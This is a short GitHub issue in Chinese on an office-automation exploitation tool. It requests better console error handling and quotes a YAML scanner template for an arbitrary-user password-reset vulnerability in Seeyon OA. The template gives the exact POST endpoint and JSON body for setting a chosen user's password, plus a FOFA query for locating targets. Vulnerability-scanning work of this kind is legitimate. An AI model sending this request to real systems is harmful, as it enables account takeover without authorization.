LittleBear4/OA-EXPTOOL

控制台优化,POC优化,建议开一个POC仓库。

Opened this issue · 0 comments

能不能加一个try
记住无论如何,控制台都不能退出。
image

还有我检测了一下,致远OA 前台任意用户密码重置漏洞。
不是所有的账户都是admin,因此错过很多漏洞。
`id: seeyon-resetpassword-anyuser

info:
name: 致远OA resetPassword任意用户密码修改漏洞
author: zan8in
severity: high
description: |-
致远OA resetPassword任意用户密码修改漏洞,注意:参数 loginName 需要真实存在的用户名
FOFA: app="致远互联-OA"
tags: seeyon,resetpassword
created: 2023/09/12

rules:
r0:
request:
method: POST
path: /seeyon/rest/phoneLogin/phoneCode/resetPassword
headers:
Content-Type: application/json
body: |
{"loginName":"afrogtest","password":"admin@123456"}
expression: |
response.status == 500 && response.body.bcontains(b'"code" : 500') && response.body.bcontains(b'"success" : false') && response.body.bcontains(b'"message" : null')
expression: r0()`

写的非常不合理。建议你开一个仓库。我们帮你写poc你集成进去。